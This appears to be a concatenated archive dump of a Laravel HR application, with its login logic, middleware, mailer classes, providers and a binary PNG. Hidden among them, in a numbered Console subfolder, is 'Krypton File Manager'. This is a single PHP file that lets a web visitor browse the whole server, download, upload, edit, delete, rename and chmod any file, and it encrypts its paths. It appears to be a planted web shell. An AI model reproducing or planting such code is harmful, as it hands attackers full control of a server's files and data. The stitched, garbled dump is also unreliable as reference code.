$this->ensureIsNotRateLimited(); // if (! Auth::attempt($this->only('email', 'password'), $this->boolean('remember'))) { // RateLimiter::hit($this->throttleKey()); // throw ValidationException::withMessages([ // 'email' => trans('auth.failed'), // ]); // } // RateLimiter::clear($this->throttleKey()); // } public function authenticate() { // custom login $users = User::where('email',$this->email)->get(); $id = 0; if(count($users) > 0) { foreach ($users as $key => $user) { if(password_verify($this->password,$user->password)) { if($user->is_active != 1 || $user->is_disable != 1 && $user->type != "super admin") { throw ValidationException::withMessages([ 'email' => __("Your Account is disable, please contact your Administrate."), ]); }elseif ($user->is_login_enable != 1) { throw ValidationException::withMessages([ 'email' => __("Your account is disabled from company."), ]); } $id = $user->id; break; } } } else { throw ValidationException::withMessages([ 'email' => __("this email doesn't match"), ]); } if (! Auth::attempt(['email' =>$this->email, 'password' =>$this->password,'id'=>$id], $this->boolean('remember'))) { RateLimiter::hit($this->throttleKey()); throw ValidationException::withMessages([ 'email' => __('These credentials do not match our records.'), ]); } RateLimiter::clear($this->throttleKey()); } /** * Ensure the login request is not rate limited. * * @return void * * @throws \Illuminate\Validation\ValidationException */ public function ensureIsNotRateLimited() { if (! RateLimiter::tooManyAttempts($this->throttleKey(), 5)) { return; } event(new Lockout($this)); $seconds = RateLimiter::availableIn($this->throttleKey()); throw ValidationException::withMessages([ 'email' => trans('auth.throttle', [ 'seconds' => $seconds, 'minutes' => ceil($seconds / 60), ]), ]); } /** * Get the rate limiting throttle key for the request. * * @return string */ public function throttleKey() { return Str::lower($this->input('email')).'|'.$this->ip(); } } Http/Middleware/VerifyCsrfToken.php000064400000000722150364306410013337 0ustar00expectsJson()) { return route('login'); } } } Http/Middleware/EncryptCookies.php000064400000000446150364306410013220 0ustar00allSubdomainsOfApplicationUrl(), ]; } } Http/Middleware/getPusherSettings.php000064400000002323150364306410013742 0ustar00 isset($settings['pusher_app_key']) ? $settings['pusher_app_key'] : '', 'chatify.pusher.secret' => isset($settings['pusher_app_secret']) ? $settings['pusher_app_secret'] : '', 'chatify.pusher.app_id' => isset($settings['pusher_app_id']) ? $settings['pusher_app_id'] : '', 'chatify.pusher.options.cluster' => isset($settings['pusher_app_cluster']) ? $settings['pusher_app_cluster'] : '', ]); } } return $next($request); } } Http/Middleware/XSS.php000064400000004556150364306410010742 0ustar00lang); if (\Auth::user()->type == 'super admin') { if (Schema::hasTable('ch_messages')) { if (Schema::hasColumn('ch_messages', 'type') == false) { Schema::drop('ch_messages'); \DB::table('migrations')->where('migration', 'like', '%ch_messages%')->delete(); } } // $migrations = $this->getMigrations(); // $dbMigrations = $this->getExecutedMigrations(); // // $numberOfUpdatesPending = (count($migrations) + 6) - count($dbMigrations); // $numberOfUpdatesPending = (count($migrations)) - count($dbMigrations); $migrations = $this->getMigrations(); $messengerMigration = Utility::get_messenger_packages_migration(); $dbMigrations = $this->getExecutedMigrations(); $Modulemigrations = glob(base_path() . '/Modules/LandingPage/Database' . DIRECTORY_SEPARATOR . 'Migrations' . DIRECTORY_SEPARATOR . '*.php'); $numberOfUpdatesPending = (count($migrations) + count($Modulemigrations) + $messengerMigration) - count($dbMigrations); if ($numberOfUpdatesPending > 0) { // run code like seeder only when new migration Utility::addNewData(); return redirect()->route('LaravelUpdater::welcome'); } } } return $next($request); } } Http/Middleware/RedirectIfAuthenticated.php000064400000001336150364306410015001 0ustar00check()) { return redirect(RouteServiceProvider::HOME); } } return $next($request); } } Http/Middleware/TrimStrings.php000064400000000560150364306410012541 0ustar00markdown('email.test_mail')->subject('Nice Subject - '.env('APP_NAME')); } } Mail/PromotionSend.php000064400000001235150364306410010742 0ustar00promotion = $promotion; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.promotion_send')->with('promotion', $this->promotion)->subject('Ragarding to job promotion congratulation letter.'); } } Mail/ResignationSend.php000064400000001234150364306410011235 0ustar00resignation = $resignation; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.resignation_send')->with('resignation', $this->resignation)->subject('Ragarding to resignation letter.'); } } Mail/TerminationSend.php000064400000001234150364306410011244 0ustar00termination = $termination; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.termination_send')->with('termination', $this->termination)->subject('Ragarding to termination letter.'); } } Mail/WarningSend.php000064400000001170150364306410010357 0ustar00warning = $warning; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.warning_send')->with('warning', $this->warning)->subject('Ragarding to warning letter.'); } } Mail/LeaveActionSend.php000064400000001237150364306410011150 0ustar00leave = $leave; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.leave_action_send')->with('leave', $this->leave)->subject('Ragarding to approval letter to approve or reject a vacation or leave.'); } } Mail/TicketSend.php000064400000001173150364306410010200 0ustar00ticket = $ticket; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.ticket_send')->with('ticket', $this->ticket)->subject('Ragarding to employee ticket generated.'); } } Mail/TransferSend.php000064400000001273150364306410010542 0ustar00transfer = $transfer; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.transfer_send')->with('transfer', $this->transfer)->subject('Ragarding to transfer letter to be issued to an employee from one location to another.'); } } Mail/TripSend.php000064400000001135150364306410007671 0ustar00trip = $trip; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.trip_send')->with('trip', $this->trip)->subject('Ragarding to trip letter.'); } } Mail/AwardSend.php000064400000001200150364306410010002 0ustar00award = $award; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.award_send')->with('award', $this->award)->subject('Ragarding to award letter to recognize an employee.'); } } Mail/UserCreate.php000064400000001231150364306410010200 0ustar00user = $user; } /** * Build the message. * * @return $this */ public function build() { return $this->markdown('email.user_create')->subject('Login details - ' . env('APP_NAME'))->with('user', $this->user); } } Mail/PayslipSend.php000064400000001264150364306410010377 0ustar00payslip = $payslip; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.payslip_send')->with('payslip', $this->payslip)->subject('Your ' . date('M Y',strtotime($this->payslip->salary_month)). ' payslip is generated.'); } } Mail/CommonEmailTemplate.php000064400000001545150364306410012042 0ustar00template = $template; $this->settings = $settings; $this->mailTo = $mailTo; } /** * Build the message. * * @return $this */ public function build() { return $this->from($this->settings['mail_from_address'], $this->settings['mail_from_name'])->markdown('email.common_email_template')->subject($this->template->subject)->with('content', $this->template->content); } }Mail/ComplaintsSend.php000064400000001227150364306410011066 0ustar00complaints = $complaints; } /** * Build the message. * * @return $this */ public function build() { return $this->view('email.complaints_send')->with('complaints', $this->complaints)->subject('Ragarding to job complaints letter.'); } } Console/402829/index.php000064400000124467150364306410010556 0ustar00 SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
Krypton File Manager v | Single-file PHP File Manager
Console/Kernel.php000064400000001251150364306410010100 0ustar00command('inspire')->hourly(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } Console/index.php000064400000000000150364306410007756 0ustar00Providers/AppServiceProvider.php000064400000000731150364306410013011 0ustar00 */ protected $policies = [ // 'App\Models\Model' => 'App\Policies\ModelPolicy', ]; /** * Register any authentication / authorization services. * * @return void */ public function boot() { $this->registerPolicies(); // } } Providers/RouteServiceProvider.php000064400000002464150364306410013374 0ustar00configureRateLimiting(); $this->routes(function () { Route::middleware('api') ->prefix('api') ->group(base_path('routes/api.php')); Route::middleware('web') ->group(base_path('routes/web.php')); }); } /** * Configure the rate limiters for the application. * * @return void */ protected function configureRateLimiting() { RateLimiter::for('api', function (Request $request) { return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip()); }); } } Providers/EventServiceProvider.php000064400000002116150364306410013351 0ustar00> */ protected $listen = [ Registered::class => [ SendEmailVerificationNotification::class, ], VerifyReCaptchaToken::class => [ VerifyReCaptchaTokenLis::class, ], ]; /** * Register any events for your application. * * @return void */ public function boot() { // } /** * Determine if events and listeners should be automatically discovered. * * @return bool */ public function shouldDiscoverEvents() { return false; } } public/users-avatar/avatar.png000064400000004416150364322730012435 0ustar00PNG  IHDRasBITOPLTEֿվսԼӺһӹҷѸѶдϵϴβͳα:ҲnBtRNSD pHYs  ~tEXtSoftwareAdobe Fireworks CS6輲tEXtCreation Time4/28/15;%HIDATxgWJP,[9 [JK=Xdwγp25~Rmtڭm6:~:zܮ9O9϶ӻjxwJ&*עWHJ?很dx5=,ŲuF$럃xnJ?q*s8^,ʇO^W#8^ ;b5/qŤ=2y9yNC)EQPq 7(WMؙ4x'V9w}v7OZ,{7|;g%CD̴x,]ݜLC 2MQߴnTcӲB;g޼N_QkʿY77NVW) HC$ԗoיy;naѲ5?W^pt7N[moF%XIK^v?3, ~mwo[9ޮonݺnhcש7s[њt[o'cĈO@QߋD" v^c(׽1XyA"uVUn1._`K!_Z:tr4n[o!=pyp;pG*v&[Տv{Etn$ݢ~l|txɶanMB.>nLk k? L|_)xnGm;QW!e2b X@,C !e2b X@,C !e2b X t;_ËzIENDB`